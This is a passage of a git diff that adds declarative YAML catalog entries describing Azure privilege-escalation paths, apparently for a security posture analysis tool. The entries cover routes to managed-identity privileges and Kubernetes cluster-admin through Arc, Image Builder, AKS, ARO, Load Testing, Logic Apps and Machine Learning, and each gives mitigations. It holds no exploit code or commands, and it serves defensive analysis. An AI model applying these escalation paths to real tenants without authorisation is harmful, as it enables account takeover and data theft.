guest configuration assignment on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 547f1ea0c8 + summary: The source can obtain the privileges of the Arc machine's managed identity, because the built-in guest configuration agent runs the package as LocalSystem/root. + requires: + all_of: + - action: Microsoft.GuestConfiguration/guestConfigurationAssignments/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_guest_configuration_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_agent_connected + description: The Connected Machine agent must be connected and guest configuration must not be disabled in the agent's local configuration. + - id: custom_package_runs + description: The machine must download and run the attacker's valid custom package before its identity can be used. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict guestConfigurationAssignments/write (Azure Connected Machine Resource Manager, Guest Configuration Resource Contributor) on Arc servers and keep Arc machine identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/how-to/assign-configuration/azure-resource-manager + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/security-extensions + notes: The Arc agent includes guest configuration, so no separate extension write is required. The selector checks write authority on the exact machine's assignment child, including an existing assignment if its resource is collected. Agent-side disablement and package execution are not collected and remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml new file mode 100644 index 0000000000..b0d3293647 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml @@ -0,0 +1,45 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure VM Image Builder techniques (declarative only). +# Source: hacktricks-cloud az-image-builder-privesc.md (rev 171e422). +# Customizers run as root/SYSTEM on the build VM. Only the build-VM identities +# (vmProfile.userAssignedIdentities) are exposed through IMDS; the template's top-level identity is +# the service identity used by Image Builder and is not attached to the build VM. + +- id: azure-imagebuilder-template-create-via-template-identity + provider: azure + service: image_builder + title: Create and run a new image template whose template identity attaches a build-VM identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#customizer-rce--build-identity-token-theft-marquee + source_revision: 906b2f81ef + summary: A source that can create and run image templates and assign a user-assigned identity T as the template identity can obtain the privileges of the build-VM identities that T is itself allowed to assign. + requires: + all_of: + - action: Microsoft.VirtualMachineImages/imageTemplates/write + - action: Microsoft.VirtualMachineImages/imageTemplates/run/action + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_imagebuilder_new_template_identity_path: true + scope: any + aggregate_as: "UAMIs assignable by an Image Builder template identity the source can assign" + outcome: workload_execution + conditions: + - id: build_vm_identity_only + description: Customizer code runs on the build VM; only identities listed in vmProfile.userAssignedIdentities are reachable through IMDS, and Image Builder checks that the template identity (not the caller) holds Managed Identity Operator / assign on each of them. + - id: template_identity_is_intermediate + description: The edge names the intermediate template identity T (via_intermediate_identity condition); the source must hold userAssignedIdentities/assign/action on T, which the selector checks. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant Managed Identity Operator to image template identities only on dedicated, least-privileged build identities, and restrict imageTemplates/write and run/action. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-json + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-permissions-cli + notes: The selector requires imageTemplates write and run on the same new-template path in a collected resource group, or in a new resource group the source can create. It also requires source assign authority on the template UAMI and that UAMI's assign authority on the build-VM UAMI. Staging resource group, region, package dependencies and build success remain conditional. This entry covers new templates; the separate existing-template path remains unresolved. Running a customizer without a build-VM identity reaches no principal and is not an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml new file mode 100644 index 0000000000..aeae29ff95 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml @@ -0,0 +1,396 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Kubernetes Service / Arc Kubernetes control-plane -> cluster privilege techniques (declarative only). +# Source: hacktricks-cloud az-kubernetes-privesc.md (rev 171e422, re-verified). + +- id: azure-aks-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve the AKS clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + blockers: + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Disable local accounts on AKS (disableLocalAccounts) and restrict listClusterAdminCredential (Azure Kubernetes Service Cluster Admin Role, Contributor). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: The clusterAdmin certificate maps to system:masters whether or not Entra integration or Azure RBAC for Kubernetes is enabled; only disableLocalAccounts removes it. From cluster-admin, workload identities and node identities are reachable through the k8s catalog. + +- id: azure-aks-list-cluster-user-credential + provider: azure + service: kubernetes + title: Retrieve the AKS clusterUser kubeconfig on a local-account cluster + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: d7728ff510 + summary: On clusters without Entra integration the source can obtain Kubernetes cluster-admin. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/listClusterUserCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters and authorized IP ranges require network reachability to the API server. + - id: cluster_without_entra_integration + description: Only on non-Entra local-account clusters is the user kubeconfig privileged; with Entra integration (Kubernetes RBAC or Azure RBAC for Kubernetes authorization) it is an exec-plugin kubeconfig and the caller's own bindings or Azure RBAC data actions apply. + blockers: + - aks_entra_integration_enabled + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Enable Entra ID integration and disable local accounts. + references: + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/list-cluster-user-credentials + notes: The user kubeconfig is admin-equivalent only when Entra integration is absent and local accounts are enabled. Missing or conflicting cluster settings keep the path conditional. + +- id: azure-hybrid-k8s-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve admin credentials of a hybrid Kubernetes cluster + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: "5045962272" + summary: The source can retrieve an admin kubeconfig for an exact provisioned cluster or Arc provisioned-cluster instance. + requires: + any_of: + - - action: Microsoft.HybridContainerService/provisionedClusters/listClusterAdminCredential/action + scope: "*" + - - action: Microsoft.HybridContainerService/provisionedClusterInstances/listAdminKubeconfig/action + scope: "*" + target: + kind: k8s_cluster_admin + selector: + azure_hybrid_k8s_admin_credential_path: true + scope: cluster + aggregate_as: "Cluster admin of provisioned cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The admin kubeconfig is for direct mode and its private API server must be reachable. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listClusterAdminCredential on hybrid clusters. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/hybrid-multicloud + - https://learn.microsoft.com/en-us/rest/api/hybridcontainer/provisioned-clusters/list-admin-kubeconfig?view=rest-hybridcontainer-2026-04-01-preview + notes: The selector pairs the old provisionedClusters action with that resource type and the newer provisionedClusterInstances action with the exact instance under a connected cluster. User-credential actions remain identity-bound and are not modeled as a gain. + +- id: azure-aks-azure-rbac-k8s-rbac-write + provider: azure + service: kubernetes + title: Bind cluster-admin through a Kubernetes ClusterRoleBinding using Azure RBAC data actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: d7728ff510 + summary: The source can bind itself to the cluster-admin ClusterRole through a new ClusterRoleBinding and obtain cluster-admin permissions. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterrolebindings/write + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/bind/action + data_action: true + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_aks_rbac_cluster_binding: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: cluster_admin_binding_admitted + description: The API server must accept a new ClusterRoleBinding from the source to the exact cluster-admin ClusterRole; a namespace RoleBinding is not cluster-admin. + - id: api_server_reachable + description: The source must reach the Kubernetes API server with its authenticated client. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant RBAC-object write/bind/escalate data actions outside cluster administrators. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: This models only a new cluster-scoped binding to cluster-admin when the source can authenticate to that cluster. Namespace RoleBindings and editing an already-bound ClusterRole require an exact resulting permission and binding-to-source join. + +- id: azure-aks-access-profile-list-credential + provider: azure + service: kubernetes + title: Retrieve the clusterAdmin kubeconfig through the legacy access-profile API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster without the listClusterAdminCredential action. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/accessProfiles/listCredential/action + scope: "{target.scope}/accessProfiles/clusterAdmin" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + - id: legacy_api_available + description: The access-profile API is deprecated; it must still be served for the cluster's API version. + blockers: + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Disable local accounts and restrict accessProfiles/listCredential/action together with listClusterAdminCredential. + references: + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/get-access-profile + notes: Only the clusterAdmin access profile is modelled. The fleet hub credential (fleets/listCredentials/action) is an Entra exec-plugin kubeconfig gated by Fleet RBAC, the managed-namespace credential is namespace-scoped, and the clusterMonitoringUser credential is bound to a read-mostly monitoring role, so none of them is a gain by itself. + +- id: azure-aks-run-command + provider: azure + service: kubernetes + title: In-cluster execution through AKS Run Command + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + source_revision: d7728ff510 + summary: On local-account clusters the source can run commands with cluster-admin authority inside the cluster, including private clusters. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/runCommand/action + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/commandResults/read + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: run_command_enabled + description: apiServerAccessProfile.disableRunCommand must not be true. + - id: cluster_without_entra_integration + description: On Entra-integrated clusters the command pod is authorized with the caller's own Entra token, so only the caller's existing Kubernetes or Azure RBAC applies. + blockers: + - aks_entra_integration_enabled + - aks_run_command_disabled + confidence: conditional + severity: critical + mitigation: Set disableRunCommand where unused, enable Entra integration with local accounts disabled, and restrict runCommand/action. + references: + - https://learn.microsoft.com/en-us/azure/aks/access-private-cluster + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/run-command + notes: Run Command requires both ARM actions on the same cluster. The caller's Entra token limits commands on integrated clusters. A disabled Run Command setting blocks execution unless this caller can write the cluster to re-enable it. Direct API-server network reachability is unnecessary. + +- id: azure-aks-managedclusters-write-enable-local-accounts + provider: azure + service: kubernetes + title: Re-enable AKS local accounts and retrieve the clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin on a cluster whose local accounts were disabled. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/write + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + - id: azure_policy_allows_local_accounts + description: An effective Azure Policy deny rule must permit re-enabling local accounts. + blockers: + - aks_local_accounts_enabled + confidence: conditional + severity: critical + mitigation: Restrict managedClusters/write (Azure Kubernetes Service Contributor, Contributor) and enforce disableLocalAccounts with Azure Policy (deny). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: Applies when local accounts are disabled. The separate admin-credential entry covers clusters where local accounts are already enabled. + +- id: azure-aks-vmss-node-run-command + provider: azure + service: kubernetes + title: Run Command on an AKS worker scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + source_revision: d7728ff510 + summary: The source can run code as root on the node and obtain the scale set's managed identities (AKS kubelet/agent pool identities). + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Compute/virtualMachineScaleSets/virtualMachines + target: + kind: azure_managed_identity + selector: + azure_vmss_instance_identity: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: The instance must be running with a healthy VM agent. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Enable AKS node resource group lockdown (a deny assignment), restrict scale-set Run Command in node resource groups, and keep kubelet identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-ssh-node-access + - https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown + notes: Applies to an inventoried Uniform scale-set instance, including AKS node pools. The instance must belong to a scale set with the named attached identity. Kubernetes privileges from node credentials are handled by the k8s catalog node edges. + +- id: azure-aks-azure-rbac-impersonate + provider: azure + service: kubernetes + title: Impersonate Kubernetes system:masters through Azure RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: d7728ff510 + summary: With an authenticated Kubernetes client, the source can impersonate a user in system:masters without creating a binding. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/groups/impersonate/action + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/users/impersonate/action + data_action: true + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_aks_rbac_group_impersonation: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: api_server_reachable + description: The caller must reach the Kubernetes API server with its authenticated client. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant impersonate data actions outside cluster administrators; review custom roles carrying Microsoft.ContainerService/managedClusters/*. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: Both user and group impersonation are required. An authenticated cluster-user kubeconfig or an exact reviewed Kubernetes API authentication fact is required before naming the cluster-admin target. Fleet member equivalents need a fleet-to-member mapping, and namespace-scoped RBAC Writer secret read needs Azure-side service-account targets. + +- id: azure-aro-list-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO kubeadmin credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain OpenShift cluster-admin (kubeadmin) on the ARO cluster. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private ARO clusters require network reachability to the API server or console. + - id: kubeadmin_not_removed + description: The kubeadmin user must not have been removed after configuring another identity provider. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listCredentials/action on ARO clusters and remove kubeadmin once an identity provider is configured. + references: + - https://learn.microsoft.com/en-us/azure/openshift/connect-cluster + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/authentication_and_authorization/removing-kubeadmin + notes: The modeled path is conditional because Azure RBAC does not show whether the kubeadmin secret remains or the caller can reach the API server. The separate listAdminCredentials/action admin-kubeconfig path and hosted-control-plane preview (hcpOpenShiftClusters) are not modeled here. + +- id: azure-aks-flux-configuration-write + provider: azure + service: kubernetes + title: Point a Flux GitOps configuration at an attacker-controlled source + source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + source_revision: 45f4b19f23 + summary: The in-cluster Flux controller pulls and applies manifests from the attacker source with its own Kubernetes permissions (cluster-wide by default). + requires: + all_of: [] + any_of: + - - action: Microsoft.KubernetesConfiguration/fluxConfigurations/write + scope: "{pivot}" + - - action: Microsoft.KubernetesConfiguration/sourceControlConfigurations/write + scope: "{pivot}" + pivot_resource_type: Microsoft.KubernetesConfiguration/fluxConfigurations + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_flux_cluster_path: true + scope: cluster + aggregate_as: "Cluster admin of AKS / Arc Kubernetes cluster {target.scope}" + conditions: + - id: flux_scope_cluster + description: Cluster-admin is reached only when the Flux configuration scope is cluster (the default); a namespace-scoped configuration applies manifests with that namespace's permissions only. + - id: source_reachable + description: The cluster must be able to reach the attacker Git, Helm, bucket or Blob source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: critical + mitigation: Restrict Microsoft.KubernetesConfiguration/fluxConfigurations/write and sourceControlConfigurations/write, prefer namespace-scoped Flux configurations, and alert on new or changed GitOps sources. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2 + notes: The writable configuration must belong to the exact AKS or Arc-enabled cluster. Parent-scoped write can create a cluster-scoped configuration; a child-only grant needs an inventoried existing configuration. Legacy source-control availability remains conditional. +- id: azure-aro-list-admin-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO administrator kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain the administrator kubeconfig for the ARO cluster without the kubeadmin password. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The caller must reach the Kubernetes API server with the administrator kubeconfig. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listAdminCredentials/action on ARO clusters to administrators who need emergency cluster access. + references: + - https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift + notes: This route does not require the kubeadmin user. The result remains conditional on API server reachability. The hosted-control-plane preview (hcpOpenShiftClusters) is not modeled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml new file mode 100644 index 0000000000..9e6f215060 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml @@ -0,0 +1,82 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Load Testing techniques (declarative only). +# Source: hacktricks-cloud az-load-testing-privesc.md (rev 171e422). +# Test plans (JMeter JSR223/Groovy, Locust Python) are arbitrary code on the test engine; identities +# referenced with kind Engine are assigned to the engine instances and reachable through IMDS. + +- id: azure-loadtesting-test-engine-identity + provider: azure + service: load_testing + title: Run a test plan on a load test resource that carries managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: ae7d014141 + summary: The source can obtain the privileges of the managed identities attached to the load test resource. + requires: + all_of: + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "*" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.LoadTestService/loadtests + azure_loadtesting_existing_engine_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of load test resource {target.host_resource}" + conditions: + - id: engine_identity_reference + description: The identity must be referenced for the engine (referenceIdentities kind Engine), which the test writer sets in the test configuration. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat Load Test Contributor/Owner as code execution as the resource's identities, keep those identities least-privileged, and enable AzureLoadTestingOperation diagnostics. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + - https://learn.microsoft.com/en-us/azure/load-testing/how-to-assign-roles + notes: Data action names are writeTest/action and startTest/action. Both must cover the same exact Load Testing resource carrying the managed identity. The test writer can select that identity with referenceIdentities kind Engine, but successful test execution and token use remain conditional; an identity attached only for KeyVault or Metrics is not automatically on the engine. + +- id: azure-loadtesting-assign-user-assigned-identity + provider: azure + service: load_testing + title: Attach a user-assigned identity to a load test resource and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: ae7d014141 + summary: The source can obtain the privileges of user-assigned identities it may assign, by attaching them to a load test resource and referencing them for the engine. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "*" + - action: Microsoft.LoadTestService/loadTests/write + scope: "*" + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "*" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_loadtesting_assign_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: engine_identity_selected + description: The attacker-controlled test must select the attached UAMI with referenceIdentities kind Engine and run code on an engine instance. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and loadTests/write. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + notes: The selector checks assign/action on the exact UAMI and loadTests/write, writeTest/action and startTest/action on one collected or creatable load test resource. Merely attaching an identity to the resource does not place it on a test engine; the test configuration must select it as kind Engine. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml new file mode 100644 index 0000000000..ac99308374 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml @@ -0,0 +1,69 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Logic Apps techniques (declarative only). +# Source: hacktricks-cloud az-logic-apps-privesc.md (rev 171e422, re-verified). +# Standard (single-tenant) Logic Apps are Microsoft.Web/sites and are covered by app_services.yaml. + +- id: azure-logicapp-workflow-write-existing-identity + provider: azure + service: logic_apps + title: Modify an existing Consumption workflow that runs with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the workflow's managed identities. + requires: + all_of: + - action: Microsoft.Logic/workflows/write + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_logicapp_existing_identity_path: true + scope: inherited_scope + aggregate_as: Identities of Logic App {target.host_resource} + conditions: + - id: run_path + description: 'The modified workflow must run: a recurrence/event trigger, triggers/run/action, or a callback URL.' + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict workflows/write and keep workflow identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: HackTricks marks workflows/write as directly changing workflow code (Critical). + +- id: azure-logicapp-assign-user-assigned-identity + provider: azure + service: logic_apps + title: Create or update a workflow with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#assign-a-user-assigned-identity-to-a-writable-workflow + source_revision: 85987e6273 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.Logic/workflows/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_logicapp_assign_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: run_path + description: 'The workflow must run: triggers/run/action, a callback URL, or a recurrence trigger.' + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and workflows/write. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: Covers both identity-assignment sections of the page. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml new file mode 100644 index 0000000000..54b3dca589 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml @@ -0,0 +1,146 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Machine Learning / AI Foundry techniques (declarative only). +# Source: hacktricks-cloud az-ai-foundry-privesc.md and az-machine-learning-privesc.md (rev 171e422). +# {target.host_resource.workspace}: the ML workspace that owns the endpoint/compute. +# pivot_resource_type with '|' means any of the listed resource types. + +- id: azure-ml-online-deployment-existing-endpoint + provider: azure + service: machine_learning + title: Deploy code to an existing Azure ML online endpoint + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: 3f483c8032 + summary: The source can obtain the privileges of the online endpoint's managed identity. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_ml_existing_online_deployment_identity_path: true + scope: inherited_scope + aggregate_as: Identity of online endpoint {target.host_resource} + conditions: + - id: deployment_init + description: The deployment must provision and run attacker-controlled initialization code in the endpoint container. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict deployment write on online endpoints and keep endpoint identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-deploy-custom-container + notes: Endpoint identity is fixed at creation; workspace identity roles do not apply. This route uses container startup code, so a separate scoring invocation is not required. + +- id: azure-ml-online-endpoint-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML online endpoint with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: dd0d2d324b + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write + 